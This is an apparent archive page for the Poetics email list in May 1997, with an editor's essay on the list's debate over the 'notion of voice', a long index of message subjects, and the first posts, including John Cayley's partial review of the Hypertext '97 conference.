8 1997 Microsoft Corporation

> *<Picture>*

****

JOEL LEWIS

[redacted]

>>>>>>>>>>>>>>>>>>>>>>>>>>>

SLEEP FASTER! WE NEED THE PILLOWS!

--- Yiddish aphorism

<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<

↑ Index

On the fourth of May David Israel forwarded a wire report under the heading in other sports: Kasparov outwits cyberbrain. The champion had taken the first game off the IBM machine. Seven days later the machine won the match, and the world understood that a thing had happened which would not unhappen, and the list does not mention it. The only trace in nine hundred and fifty letters is henry, on the fourteenth, answering an unrelated question about shepherds: *"He was, until he twitched his mantle Deep Blue"* and faxed his pasturized pantoum to square one. That is Lycidas — the last lines, the elegy's exit — got off in a joke, and nobody noticed that either.

What the room was doing instead was the best piece of work it did all year, and it began on the thirteenth with Mark Wallace asking for a citation. There is an idea often floated around, he wrote, that the contemporary workshop poem rests on a particular notion of voice: that a voice is an individual possession, the writer's own, discovered rather than given. And then the question nobody had thought to ask in fifteen months of attacking it: *"Whether anyone actually believes this, or has said so"* in so many words, is something I am trying to find out. Could anyone point him to a published article or book that defends the position?

They could not. Forty-odd letters over a fortnight, four hundred and ninety-four uses of the word, and no locus classicus. David Israel, who tried hardest, admitted he did not know *"where one wd locate the manner of locus classicus"* and offered Whitman, which is not the same thing. Michael Boughn half-remembered a Seventies anthology whose title contained the word. Daniel Tessitore produced the nearest thing to evidence in the whole thread — a 1992 creative-writing exercise book — and that is what the room's great adversary came down to: a handbook of prompts. The doctrine everybody had been fighting since before this archive begins turns out to have no author.

It has, however, an economy, and the room found that easily enough. Dean Taciuch had sat in the workshops: *"In one workshop I participated in"* we did an exercise about listening. Hugh Steinberg named the thing precisely — the point is getting a voice, *"or getting one at least (as opposed to a job)"*. Herb Levy remembered the most depressing hours of *"my years in arts adminstration"*, spent on a funding panel. And Stephen Vincent, in a separate thread that ran to thirty-seven letters, wrote about book contests and the fifteen to twenty-five dollars

that must accompany the manuscript, and confessed to *"an instinctive wariness (weariness?)"* about the whole apparatus. Nobody defends the doctrine. Everybody pays the fee.

The best sentence came from Thomas Bell and went unanswered: *"I'm puzzled that so many here cede the idea"* of voice to a single isolated quarter, as if the word belonged to the enemy and not to them. Which is the story of this archive so far. In March of last year the room could not agree what avant-garde meant; in May it could not say what a sonnet was; in November it could not locate the West; in June it was begged not to start on langpo. Now it finds that the position it has spent years defining itself against cannot be found in print by forty people looking hard for a fortnight. I have set Wallace's question where he asked it, because a room that could never keep its own words had at last mislaid its opponent.

— Kristen M. Fabians

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168. Kristin Gallagher — Re: Poetry Radio!
169. Daniel Tessitore — Re: epic/narrative
170. henrywrt — Re: gubbinal in Venezuela?
171. Jethro Cadbury — advert
172. CHRIS MANN — Re: epic/narrative
173. Gwyn McVay — epic/narrative
174. Alan Jennifer Sondheim — Jennifer-URL
175. Joe Safdie — Re: epic/narrative
176. henry gould — Re: epic/narrative
177. David Israel — Re: epic/narrative -Reply
178. David Israel — Re: epic/narrative / Orpheus p.s.
179. Steven Marks — Re: epic/narrative
180. Jethro Cadbury — neg cap and epic
181. charssmith — R Johnson/epic
182. Elizabeth Hatmaker — epic/narrative
183. henry — Re: R Johnson/epic
184. Christopher Alexander — nonce
185. charssmith — Alice Notley
186. David Israel — Re: epic/narrative
187. Jordan Davis — Re: epic/narrative
188. David Israel — Re: epic/narrative
189. Pam Brown — Re: epic/narrative
190. David Israel — Re: epic/narrative / Basho / Carson
191. nuyopoman — Re: How Public is the Sphere
192. Charles Alexander — flood
193. Mark Weiss — Re: R Johnson/epic

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194. oren.izenberg — Speaking of Stein
195. Steven Marks — Re: epic/narrative / Basho / Carson
196. Maria Damon (Maria Damon) — Re: poetry collections/information please
197. Alan Jennifer Sondheim — How Could You (fwd)
198. Poetics List — erratum to the erratum: Beat Women (fwd)
199. David Israel — Re: epic/narrative - Flowchart
200. rsillima — The Narr
201. David Israel — Re: epic/narrative / Crow / Hass

202. Pierre Joris — Re: epic as epic
203. CHRIS MANN — Re: The Narr
204. Tom Mandel — epic as poem of war
205. Michael Boughn — Re: R Johnson/epic
206. hen — Re: The Narr
207. Tom Mandel — categories
208. hen — Re: epic as poem of war
209. hen — Re: categories
210. Tom Mandel — feathers to iron
211. Maria Damon — Re: erratum to the erratum: Beat Women (fwd)
212. Mark Prejsnar — Re: epic/narrative
213. Tom Mandel — Re: Simone Weil
214. Aldon L. Nielsen — Re: epic as epic
215. Douglas Barbour — Re: narrative / non-narrative
216. Joseph Lease — Re: epic/narrative
217. maz881 — Re: epic/lyric
218. Pritchett,Pat — Re: epic redux
219. Steve Carll — A Berkeley reading this time!
220. Jordan Davis — Re: epic/narrative
221. Christopher Alexander — American Airlines Petition
222. Charles Bernstein — LINEbreak in RealAudio
223. Daniel Tessitore — Re: epic/narrative - Flowchart
224. Daniel Tessitore — Re: epic/narrative - Flowchart
225. Daniel Tessitore — Re: epic/narrative / Crow / Hass
226. Joe Safdie — Re: Orpehus (apologies, a little long)
227. shoemakers — Re: epic/narrative / Crow / Hass
228. minkacroy — Poets Theatre at New Langton Arts
229. Christina Fairbank Chirot — Re: The Narr
230. Mark Weiss — poetry collections/information please
231. David Israel — Re: Poets Theatre at New Langton Arts
232. henry — Re: Orpehus (apologies, a little long)
233. Sylvester Pollet — Re: poetry collections/information please
234. henry — Re: The Narr
235. DS — readings...
236. Mark Weiss — Re: poetry collections/information please
237. Mark Weiss — Re: epic redux
238. David Israel — Re: epic redux
239. Mark Weiss — Re: epic redux
240. David Israel — Re: epic redux -Reply
241. Mark Weiss — Re: epic redux -Reply
242. aerialedge — new L=A=N=G Bk, Waldrop, Watten &&& @ Bridge Street
243. Daniel Zimmerman — Re: epic redux
244. Diane Marie Ward — Re: poetry collections/information please

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245. Alan Jennifer Sondheim — Collocation of Stars (fwd)
246. Piombino/Simon — Re: readings...
247. Piombino/Simon — Re: readings...
248. Kristin S Prevallet — Re: poetry collections/information please
249. Pritchett,Pat — Re: epic redux
250. Hugh Steinberg — Re: epic/narrative / Basho / Carson
251. nuyopoman — Re: POETICS Digest - 7 May 1997 to 8 May 1997
252. Dan Machlin — Kalleberg/Warsh reading at Segue
253. William Slaughter — Mudlark No. 5

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254. henry gould — Re: poetry collections/information please

255. Piombino/Simon — Re: Manhattan Readings
256. John Cayley — (no subject)
257. Maria Damon — Re: walter lowenfels
258. Michael Heller — Talisman House Book Party
259. shemurph — WORDS BEFORE THE ARTICULATE
260. KYLE CONNER/LRC-CAHS — Re: poetry collections/information please
261. Alan Jennifer Sondheim — A Quiet Talk in Kyoto
262. Pam Brown — lunch to dinner
263. Joel Lewis — walter lowenfels
264. IMBURGIA — Re: what have I subscribed to?

12 MAY 1997

265. Nicole Markotic — Language Machines...
266. Mark Weiss — Re: Language Machines...
267. Christine Palma — Poetics Listserv Birthdate
268. Michael Boughn — Re: feathers to iron
269. Kathleen Crown — PPS panels
270. Maria Damon — Federman CD
271. Mark Prejsnar — Re: epic redux
272. Chris Stroffolino — WANTED: FORMATTER/PROOFREADER
273. Jordan Davis — New book by Steve Malmude
274. acgold01 — .
275. Daniel Tessitore — what have I subscribed to?
276. acgold01 — Nomail
277. groberts — the Prelude
278. Bob Grumman — Re: poetry ads
279. Charles Bernstein — Re: Birthdate // what have I subscribed to?
280. Rachel Loden — Re: poetry announcements
281. Brent Long — Re: poetry announcements
282. Piombino/Simon — Re: what have I subscribed to?
283. Gwyn McVay — Re: Nomail
284. Christopher Reiner — Publications Received

13 MAY 1997

285. Kenneth W Sherwood — Scrolling toward bookmark.html
286. David Israel — Re: Scrolling toward bookmark.html
287. Alan Jennifer Sondheim — Boy-Command (fwd)
288. Pam Brown — ads
289. DS — Re: what have I subscribed to?
290. CHRIS MANN — Re: Scrolling toward bookmark.html
291. Daniel Zimmerman — Re: poetry announcements
292. Daniel Zimmerman — Re: Publications Received
293. Ryan Whyte — 1967 the summer of love/the summer of hate 1997
294. Daniel Zimmerman — Re: Publications Received
295. Daniel Zimmerman — Re: Publications Received
296. Robert Archambeau — Re: the Prelude
297. orpheus — Une Tristesse de Joie pour Allen Ginsberg
298. Mark Prejsnar — Re: poetry announcements
299. maz881 — Re: poetry announcements
300. nuyopoman — Public Sphere -- Boland-Rich
301. Steven Marks — Re: Scrolling toward bookmark.html
302. hen — Re: poetry announcements
303. Aldon L. Nielsen — Re: the Prelude to "Pieces," by Wordsworth
304. Aldon L. Nielsen — Re: advertisements for myself
305. Peter Ganick — address change for potes & poets....
306. shoemakers — Re: what have I subscribed to?
307. Steve Carll — Jenny's First Poetry Reading

308. Daniel Tessitore — Re: what have I subscribed to?
309. Daniel Tessitore — Re: the notion of voice
310. Daniel Tessitore — voice
311. Daniel Tessitore — Re: a poem is being beaten
312. Daniel Tessitore — AND THE WINNER IS
313. Daniel Tessitore — Re: a poem is being beaten
314. Daniel Tessitore — Re: the notion of voice
315. Rachel Loden — Re: poetry announcements
316. dbkk — Re: Jenny's First Poetry Reading
317. Mark Wallace — the notion of voice
318. Herb Levy — Re: Birthdate // what have I subscribed to?
319. Joe Safdie — Re: Jenny's First Poetry Reading
320. Jordan Davis — Re: Jenny's First Poetry Reading
321. henry — Re: Jenny's First Poetry Reading
322. shoemakers — Re: the notion of voice
323. Robert Hale — Re: the notion of voice
324. main — tucson reading
325. David Israel — Re: the notion of voice
326. David Israel — Re: the notion of voice
327. Laura Moriarty — CATALOG ON-LINE
328. David Israel — Re: the notion of voice
329. linda v. russo — (Fwd) FYI Boston Area Folks
330. robert drake — Re: CATALOG ON-LINE
331. Piombino/Simon — Re: the notion of voice
332. orpheus — Une Tristesse de Joie pour Allen Ginsberg 1.
333. orpheus — Une Tristesse de Joie pour Allen Ginsberg 2.
334. orpheus — Une Tristesse de Joie pour Allen Ginsberg3
335. orpheus — Une Tristesse de Joie pour Allen Ginsberg4
336. robert drake — Re: poetry collections/information please
337. Alan Jennifer Sondheim — Course offering on Net Community, etc. at Naropa - (Alan)
338. Maria Damon (Maria Damon) — Re: No prizes
339. Maria Damon (Maria Damon) — Re: vernachronism

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340. Maria Damon (Maria Damon) — yo, jonathan monroe
341. Stephen Cope — Re: the notion of voice
342. orpheus — Re: duplicates of Montage
343. George Bowering — Re: tucson reading
344. henry — Re: the notion of voice
345. Piombino/Simon — Re: the notion of voice
346. Poetics List — Re: Birthdate // what have I subscribed to?
347. Maria Damon — Re: the notion of voice
348. oren.izenberg — Celan
349. maz881 — Re: Jenny's First Poetry Reading
350. dbkk — No prizes
351. dbkk — Gladman's Clamour
352. Pritchett,Pat — Re: the not so Roseycrution
353. Aldon L. Nielsen — Re: a poem is being beaten
354. Daniel Tessitore — Re: padgett/voice
355. Daniel Bouchard — vernachronism
356. Pierre Joris — Re: a poem is being beaten
357. Daniel Bouchard — rosenbergs
358. Eliza McGrand- CVA Guest — media collective huh?
359. Eliza McGrand- CVA Guest — Re: vernachronism
360. Laura Moriarty — Re: CATALOG ON-LINE
361. Pritchett,Pat — Re: vernachronism

362. dbkk — Re: No prizes
363. Daniel Bouchard — Re: vernachronism
364. Alan Jennifer Sondheim — body-html
365. Mark Weiss — Re: a poem is being beaten
366. henry — Re: a poem is being beaten
367. David Israel — some threads
368. David Bromige — bowering's lies
369. Mark Weiss — Re: a poem is being beaten
370. Gwyn McVay — Re: vernachronism
371. David Israel — Re: a poem is being beaten
372. henry — Re: a poem is being beaten
373. Christopher Alexander — Re: the notion of voice
374. henry — Re: a poem is being beaten
375. henry — Re: a poem is being beaten
376. Dave Zauhar — Re: the notion of voice
377. amato — Re: the notion of voice
378. Frank Davey — Re: vernachronism
379. George Bowering — Re: bromige's truth
380. Piombino/Simon — Re: the notion of voice
381. Dean Taciuch — Re: the notion of voice
382. David Israel — Re: the notion of voice
383. Piombino/Simon — Re: the notion of voice:advertisements for myslefs

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384. Karen and Trevor — No prizes (for this one either)
385. Mark Baker — Re: vernachronism
386. Steve Carll — Drew Gardner Comes Back
387. Thomas Bell — Re: voice
388. orpheus — Celan's "Voice"
389. Hugh Steinberg — Re: voice
390. David Israel — Re: a poem is being beaten / karaoke
391. Susan Wheeler — Sedgwick/VVoice
392. Michael Boughn — Re: the notion of voice
393. henry — Re: voice
394. Jordan Davis — Re: voice
395. Maria Damon — Re: the notion of voice
396. Maria Damon — Re: the notion of voice
397. Douglas Barbour — Re: Aldon L. Nielsen' advertisement
398. Douglas Barbour — Re: workshopped 'voice'?
399. Gwyn McVay — like a fishbone
400. Maria Damon — Re: voice
401. Douglas Barbour — Re: Joe Amato's paper at the Denver conference
402. Dean Taciuch — Re: voice
403. Dean Taciuch — Re: voice
404. Field of Roses — Re: voice (trilafon)
405. michael corbin — Re: voice
406. michael corbin — Re: the notion of no voice
407. Eliza McGrand- CVA Guest — a weird and fast and interesting golf poem (yes, GOLF!)
408. Joe Safdie — Re: the notion of voice
409. Herb Levy — voice
410. Christina Fairbank Chirot — Re: voice
411. Daniel Zimmerman — Re: Drew Gardner Comes Back
412. David Israel — whose voice?
413. David Israel — the "World Wide Free Press"
414. Pam Brown — "voice"?
415. George Thompson — Re: epic redux

416. Hank Lazer — Re: ALA conference
417. dbkk — Re: "voice"?
418. Piombino/Simon — Re: like a fishbone

16 MAY 1997

419. Travis Andrew Ortiz — Reading in San Francisco
420. rsillima — (no subject)
421. Mark Weiss — Re: epic redux
422. George Thompson — Re: epic redux
423. hen — Re: epic redux
424. Gwyn McVay — Re: like a fishbone
425. hen — Re: epic redux
426. Maria Damon — Re: "voice"?
427. Maria Damon — Re: like a fishbone
428. Rachel Loden — non-voice not-speaking (importantly)
429. henry — Re: like a fishbone
430. henry — Re: "voice"?
431. Sylvester Pollet — Re: "voice"?
432. Christopher Alexander — affirmative action/where I'm calling from
433. henry — Re: "voice"?
434. oren.izenberg — Re: like a fishbone
435. Daniel Bouchard — Re: like a fishbone
436. CHRIS MANN — Re: "voice"?
437. Rebecca Reynolds — Re: voice
438. Christopher Reiner — Interims
439. Pritchett,Pat — Re: like a fishbone
440. Jordan Davis — "voice" as long division
441. Jordan Davis — SUBPOFEST @ THE EAR 5/17 2:30
442. Christopher Alexander — Re: like a fishbone
443. Mark Weiss — Re: like a fishbone
444. Peter Larkin — Another New Pub
445. Daniel Tessitore — Re: ALA conference
446. David R. Israel — Re: affirmative action/where I'm calling from
447. henry — Re: "voice" as long division
448. Michael Boughn — epic redux
449. dbkk — (no subject)
450. Christina Fairbank Chirot — Re: epic redux
451. Aldon L. Nielsen — Re: affirmative action/where I'm calling from
452. Christopher Alexander — Re: affirmative action/where I'm calling from
453. David Israel — Re: affirmative action/where I'm calling from
454. David Israel — er pardon moi
455. Joe Safdie — Re: cliches and murder
456. Jordan Davis — what we're talking about
457. Robert Hale — examples of manipulative language-centered writing?
458. Matthias Regan — 3 scents
459. Mark Baker — Re: examples of manipulative language-centered writing?
460. henry gould — Re: 3 scents
461. Mark Weiss — Re: 3 scents
462. Matthias Regan — Re: 3 scents
463. Gwyn McVay — Lowell perfectly OK
464. main — film on rwanda
465. oren.izenberg — Lowell and parking

17 MAY 1997

466. Hugh Steinberg — Re: "voice"?
467. George Thompson — Re: epic redux
468. Thomas Bell — Re: "voice"?

469. Franklin Bruno — (no subject)
470. rsillima — Kara Walker's "voice"
471. George Thompson — Re: epic redux
472. Michael Magee — Re: Lowell perfectly OK
473. dbkk — Re: Kara Walker's "voice"
474. dbkk — Re: Kara Walker's "voice"
475. KENT JOHNSON — dirty postmodernism
476. Daniel Tessitore — Re: Kara Walker's "voice"
477. shoemakers — m&d
478. Tom Mandel — voice
479. henry — Re: epic redux
480. Jocelyn Emerson — Re: epic redux
481. Janet S. Gray — Press for Persian epic?
482. Mark Weiss — Re: epic redux
483. Mark Weiss — Re: epic redux
484. Jocelyn Emerson — Re: epic redux
485. Jocelyn Emerson — Re: epic redux

18 MAY 1997

486. DS — Re: voice
487. KENT JOHNSON — Re: voice and...
488. Bob Grumman — Re: dirty postmodernism
489. Gwyn McVay — Things that make you go 'hmm'
490. Tom Mandel — epic cliches
491. Hank Lazer — Re: voice, and
492. CHRIS MANN — Re: epic cliches
493. Maria Damon — Re: "voice"?
494. rsillima — He does the List in Diff'rent V'ices
495. dbkk — Re: "voice"?
496. Karen and Trevor — Re: "voice"?
497. Aldon L. Nielsen — Re: "voice"?
498. Maria Damon — Re: "voice"?
499. Hoa Nguyen — (no subject)
500. henry g — Re: He does the List in Diff'rent V'ices
501. Jordan Davis — more of Padgett's voice
502. henry — Re: epic redux
503. David R. Israel — Re: "voice"? / anti-fashion / cliche
504. Mark Weiss — Re: epic redux
505. David R. Israel — Re: more of Padgett's voice
506. David R. Israel — Re: epic redux / the Sheik's Pir
507. Stephen Vincent — Re: more of Padgett's voice
508. Maria Damon (Maria Damon) — Re: cartoon phrases
509. Maria Damon (Maria Damon) — Re: dirty postmodernism

19 MAY 1997

510. Kenneth W Sherwood — oral epithets
511. Kenneth W Sherwood — chops and voice
512. Mark Baker — Re: more of Padgett's voice
513. Alan Jennifer Sondheim — i root ii rise
514. KENT JOHNSON — Re: dirty postmodernism
515. Rachel Loden — fashion victims
516. KENT JOHNSON — v=o=i=c=e
517. Gwyn McVay — Re: cartoon phrases
518. Tom Mandel — cartoon phrases
519. Tom Mandel — metal was a mistake
520. dbkk — Re: dirty postmodernism
521. Maria Damon — (no subject)

522. Maria Damon — Re: cartoon phrases
523. Sylvester Pollet — Re: metal was a mistake
524. Miekal And — Re: wasn't someone collecting new onomotopoetica...?
525. Douglas Barbour — Re: 'whose' 'voice'?
526. Alan Jennifer Sondheim — Re: your mail
527. MAXINE CHERNOFF — Re: dirty postmodernism
528. David Israel — Re: metal was a mistake
529. MAXINE CHERNOFF — Re: dirty postmodernism
530. George Thompson — Re: er pardon moi
531. dbkk — Re: cartoon phrases
532. henry — Re: er pardon moi
533. Daniel Tessitore — Re: voice & refrain
534. CHRIS MANN — have you heard?
535. Peter Landers — Metal was a mistake
536. Stephen Vincent — Re: voice & refrain
537. Jordan Davis — Re: 'whose' 'voice'?
538. charssmith — PCBA Bookworks
539. MAXINE CHERNOFF — Re: dirty postmodernism
540. Peter Zukowski — er . . . pardon moi
541. Eliza McGrand- CVA Guest — wasn't someone collecting new onomotopoetica...?
542. David Israel — Re: have you heard?
543. David Israel — Re: dirty postmodernism
544. Michael Boughn — Re: epic redux
545. Poetics List — Announcement Query... (fwd)
546. Jocelyn Emerson — Re: dirty postmodernism
547. michael corbin — Re: your mail
548. michael corbin — Re: wasn't someone collecting new onomotopoetica...?
549. Matthias Regan — Jameson's prose
550. George Thompson — Re: oral epithets
551. henry — Re: dirty postmodernism
552. Aldon L. Nielsen — Re: more "of"
553. David Israel — Re: dirty postmodernism / niche
554. dbkk — Re: wasn't someone collecting new onomotopoetica...?
555. George Thompson — Re: epic redux

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556. Steve Carll — Direct From The Rex
557. Steve Carll — Now They Know How Many Poets...
558. Kenneth W Sherwood — arguing orality
559. Joel Lewis — Re: lowell
560. Steve Carll — Mas Voces
561. Chris Stroffolino — Re: Neg. Cap. (oh providence and the russians)
562. Chris Stroffolino — QUESTIONS
563. Mark Baker — Jameson's Prose
564. Chris Stroffolino — thedeathofthekennethauthorangertrashtalktrashtalk
565. John Cayley — where the sea stands still - ICA May 27th
566. Franklin Bruno — pardon my iteration
567. Poetics List — that ridiculous prize (fwd)
568. Poetics List — the magical incantations of jargon (fwd)
569. Michael Boughn — Re: epic redux
570. Joel Kuszai — Re: QUESTIONS
571. Joel Kuszai — notice subject to change
572. Gwyn McVay — Re: thedeathofthekennethauthorangertrashtalktrashtalk
573. Maria Damon — Re: Jameson's Prose
574. Mark Prejsnar — Re: 'whose' 'voice'?
575. George Thompson — Re: epic redux

576. Matthias Regan — Re: Jameson's Prose
577. aerialedge — Re: Jameson's Prose
578. Pierre Joris — Re: epic redux
579. Daniel Tessitore — Re: He does the List in Diff'rent V'ices
580. Daniel Tessitore — Re: voice & refrain and...
581. Mark Weiss — epic redux/etymology
582. David Israel — Re: epic redux/etymology
583. Mark Wallace — Cydney Chadwick's work
584. George Thompson — Re: epic redux/etymology
585. David Golumbia — Re: epic redux/etymology
586. Mark Weiss — Re: epic redux/etymology
587. Mark Weiss — Re: epic redux/etymology
588. Tenney Nathanson — grubby and querulous techno query; quick happy Bromige visit note
589. Joseph Duemer — Re: epic redux/etymology
590. Joseph Zitt — Re: More Poetry & the Public Sphere Conf Summary (LONG)
591. Dan Raphael Dlugonski — Things that make you go 'hmm'

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592. Tom Orange — Jameson's Prose
593. Jocelyn Emerson — Re: Things that make you go 'hmm'
594. David R. Israel — Re: Things that make you go 'hmm'
595. Joseph Duemer — Re: Things that make you go 'hmm'
596. Maria Damon — Re: Things that make you go 'hmm'
597. Fred Muratori — Re: NEA That Goes "Hmm"
598. Gwyn McVay — Re: NEA That Goes "Hmm"
599. henry gould — Re: NEA That Goes "Hmm"
600. William Burmeister Prod — Re: voice & refrain and...
601. Jordan Davis — sweet virginia / le medecin malgre lui
602. MAXINE CHERNOFF — Re: Things that make you go 'hmm'
603. Joel Lewis — in the news.....
604. Christopher Reiner — Re: "voice"
605. Daniel Tessitore — Re: Things that make you go 'hmm'
606. dbkk — Re: NEA That Goes "Hmm"
607. Matthias Regan — Re: "voice"
608. Fred Muratori — Writers and Painters
609. Eliza McGrand- CVA Guest — things that make you go hmmmm -- a hyhouihnmmmmm-mmhhh
610. Bennett M. Sm [Dimpson — Re: sweet virginia / le medecin malgre lui
611. henry — Re: things that make you go hmmmm -- a hyhouihnmmmmmmmhhh
612. dbkk — Re: Writers and Painters
613. Mark Prejsnar — Re: NEA That Goes "Hmm"
614. CAROLYN L. FORCHE-MATTISON — Re: Writers and Painters
615. maz881 — Tiger Woods
616. P.Standard Schaefer — Re: NEA, Names
617. Steve Carll — Etymological Fallacy
618. Bob Grumman — Re: Things that make you go 'hmm'
619. Matthias Regan — Re: Writers and Painters
620. Matthias Regan — Re: Writers and Painters
621. Hoa Nguyen — Re: NEA That Goes
622. David Israel — conceptualizing web publication
623. Mark W Scroggins — communities, virtual & subtropical
624. George Bowering — Re: more of Padgett's voice
625. David Israel — China-po & money / Captain of Butterflies
626. CHRIS MANN — Re: Things that make you go 'hmm'
627. Herb Levy — Re: NEA That Goes "Hmm"
628. Herb Levy — Re: Writers and Painters

629. Charles Alexander — broadsides
630. Wystan Curnow — (no subject)
631. Hugh Steinberg — Re: things that make you go hmmmm -- a hyhouihnmmmmmmmhhh
632. Joseph Duemer — Re: Etymological Fallacy
633. Wystan Curnow — Re: Jameson's Prose
634. Steven Marks — Re: Writers and Painters
635. Gwyn McVay — Clarification
636. Maria Damon — Re: things that make you go hmmmm -- a hyhouihnmmmmmmmhhh
637. Bob Grumman — Re: Clarification
638. Maria Damon — Re: Jameson's Prose
639. David Bromige — Re-in-er-voice
640. David Israel — Re: Clarification

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641. Mark Baker — Re: Jameson's Prose
642. Mark Weiss — Re: Etymological Fallacy
643. Mark Weiss — Re: Jameson's Prose
644. Charles Alexander — Re: NEA, cronyism, etc.
645. rsillima — NEA, cronyism, etc.
646. henry gould — Re: Clarification
647. Joseph Duemer — Re: Clarification
648. Maria Damon — Re: Jameson's Prose
649. CAROLYN L. FORCHE-MATTISON — Re: NEA, cronyism, etc.
650. Joseph Duemer — bias in judging
651. David Kellogg — Re: bias in judging
652. dbkk — "Horror Tape Script"
653. William Burmeister Prod — Re: Jameson's Prose
654. amato — Re: NEA, cronyism, etc.
655. George Thompson — Re: arguing orality
656. Daniel Tessitore — judges
657. Henry — Re: NEA, cronyism, etc.
658. CHRIS MANN — Re: NEA, cronyism, etc.
659. amato — Re: NEA, cronyism, etc.
660. Joseph Duemer — Re: NEA, cronyism, etc.
661. Hugh Steinberg — Re: NEA, cronyism, etc.
662. Joseph Duemer — Re: NEA, cronyism, etc.
663. Maria Damon — electronic publishing
664. Christina Fairbank Chirot — Re: Clarification
665. Hugh Steinberg — Re: Clarification
666. groberts — Mason & Dixon
667. henry — Re: NEA, cronyism, etc.
668. Eliza McGrand- CVA Guest — one successful "contest" model.../
669. Jordan Davis — BOYCOTT CONTESTS WITH READING FEES
670. amato — Re: NEA, cronyism, etc.
671. henry — Re: NEA, cronyism, etc.
672. Bob Grumman — Re: Clarification
673. amato — Re: electronic publishing
674. amato — Re: NEA, cronyism, etc.
675. George Thompson — Re: Etymological Fallacy
676. Miekal And — Re: electronic publishing
677. Miekal And — Re: electronic publishing
678. Maria Damon — Re: electronic publishing
679. Steven Marks — Re: arguing orality
680. amato — Re: electronic publishing
681. Wystan Curnow — Contests, competitions, prizes
682. Joseph Duemer — Re: arguing orality

683. Pam Brown — The Rich
684. Pam Brown — Amended Rich
685. Tom Mandel — Paul Hoover
686. Tom Mandel — Hey, cut that out!
687. Tom Mandel — Tarfon and successors
688. David Israel — how rich
689. rob wilson — Robocop Lives In Christchurch

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690. mgk3k — Re: electronic publishing
691. Pam Brown — Re: how rich
692. Thomas M. Orange — electronic publishing
693. Martin J Spinelli — LINEbreak in RealAudio at the EPC
694. Schuchat Simon — Re: NEA, cronyism, etc.
695. Maria Damon (Maria Damon) — Re: bad writing
696. Maria Damon (Maria Damon) — Re: Jameson contra Jameson
697. jdhollo — who gets the prizes, etc.
698. DS — Atua Wera
699. sschu30844 — Fwd: Bad Writing Awards (fwd)
700. orpheus — Re: clarification
701. Susan Wheeler — AWP Fandango
702. henry — Re: Tarfon and successors
703. henry — Re: The Rich
704. Maria Damon — Re: electronic publishing
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1. IMBURGIA
Re: More Poetry & the Public Sphere Conf Summary (LONG)
Sat 26 Apr 1997

Amittai F Avriam, thank you very much for your comments on the = conference. Do you think that it would be possible to somehow get a = copy of Brian McHale's paper in the panel on "The Feminist = Avant-Garde," on Susan Howe, or perhaps some of the other papers? will = something be published? Let me know if you get a chance, and thanks = again. dan

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2. John Cayley
Partial Review of Hypertext '97 -- long post
Wed 30 Apr 1997

** Please note ** A couple of people have suggested that I should post this on Poetics. I've decided to do so, but only the more relevant bits. I can send the complete thing (there isn't too much more) to anyone asking for it back-channel. The complete 'review,' such as it is, will be mounted on the web by the _electronic book review_ in mid-May. The exact URL is not yet available.

And *hey* I've, personally, got poetics set to 'nomail' at the moment, and will not turn the daily digest back on until the end of May, so fi I don't respond to postings on the list, please forgive me, but my text fields overfloweth....

[Apologies: This is not a 'balanced' review of the Hypertext '97 conference, but only, as Ted Nelson would put it, one particular, packaged, 'point of view'. I haven't named all the names I should have or even many and I have not explicitly acknowledged the herculean efforts of the many organizers. Readers are referred to the full published conference proceedings, _The Eighth ACM Conference on Hypertext_, edited by Mark Bernstein, Leslie Carr and Casper Osterbye, New York: ACM, 1997. My perspective is that of a practitioner of literary cybertext. This piece was written quickly as draft towards a (probably shorter) review of the conference which is to be published in the UK-based periodical (presently a quarterly newspaper) of 'digitalartcritique' entitled _Mute_ (and web-posted as part of the _electronic book review_). I would be very grateful for any suggestions, comments or corrections. It won't be edited or finalized for some time. With thanks in anticipation, John Cayley]

'The King is dead, long live the King,' was the challenging title of John B. Smith's opening keynote address at Hypertext '97. It was especially contentious given the animated and perpetually stimulating presence of Ted Nelson, uncrowned Emperor of an expanding (ballooning?) Docuverse. From April 6-11, the University of Southampton, where there is a strong tradition of hypertext

research, hosted the eighth international conference of the Hypertext research community since its first official meeting ten years ago, chaired by this year's opening speaker. The conference convenes under the auspices of the ACM, or Association for Computing Machinery, a no-nonsense umbrella organization offering support and accreditation for the activities of over 80,000 IT professionals and students worldwide. The papers given were strictly refereed, yet there was an air of openness, excitement and innovation which may be a function of hypertext's substantive engagement with intellectual and cultural 'emergencies' (its apparent structural homologies with critical theory, for example), or more practically, because the conference proper had been proceeded by open workshops and tutorials, or because there were live demos of new systems, or because there has, traditionally, been a strong literary thread to hypertext programmes, or simply because those visionary ironies instilled in us by a certain living 'literary machine' have not faded.

Clearly, Smith, from the University of North Carolina, was primarily concerned with the relationship between the hypertext (research) community and the parallel or splintered groupings more recently clustered around the World Wide Web. The great irony is, that if the (non-specialist) wired masses recognize the word 'hypertext' at all this is because the Web has popularized an actually existing technology which realizes vital but limited hypertextual potentialities, whereas, historically, many of the concepts underlying hypertext were outlined by Vannevar Bush in 1945, while the term itself was coined by Nelson in the 1960s, and the latter's only half-mocking view is that even hypertext researchers are now working on conceptual problems that were essentially solved twenty years ago. But as Nelson put it succinctly in his only formal contribution to the conference - a hilarious and thought-provoking after-dinner speech - we were all, including even Bill (Great-Satan or Road-Ahead) Gates, 'blind-sided by the Web.' He'd rather thought that _he_, Ted Nelson, would be taking over the world, sending forth his cohorts from the heart of Xanadu....

Nonetheless, it is fact that the hypertext community has developed working systems and concepts to go with them which would allow us far richer, more varied and extensible models of the new information culture than those which are provided by today's Web technologies. Taking just one example, 3W links are uncomplex, unidirectional, unintelligent and unmanaged (unmanageable?), while the links of many true hypertext systems - mostly locked away in computer labs or tied to barely accessible 'platforms' - are richly structured, communicative, open and extensible. They offer a great deal to future content-providers but seem only just beginning to be able to supply. Meanwhile, most of the bells and whistles on the 'cooler' pages of the Web are cosmetic rather than subtantive add-ons to its largely passive, if immense and tangled, structures.

Today's Web interaction is invariably, perhaps inevitably 'kludgey' and sometimes it is positively 'foobar'.

...

... But the fascinating prospect, as Smith pointed out, is a Web turned inside out, where the open programming environments which are currently tacked onto operating systems, servers and browsers enact a quiet revolution, such that today's relatively simple Web protocols (http) end up _inside_ richer, more articulate, hypermedia architectures, while the users remain unperturbed by a paradigm shift that is all but invisible.

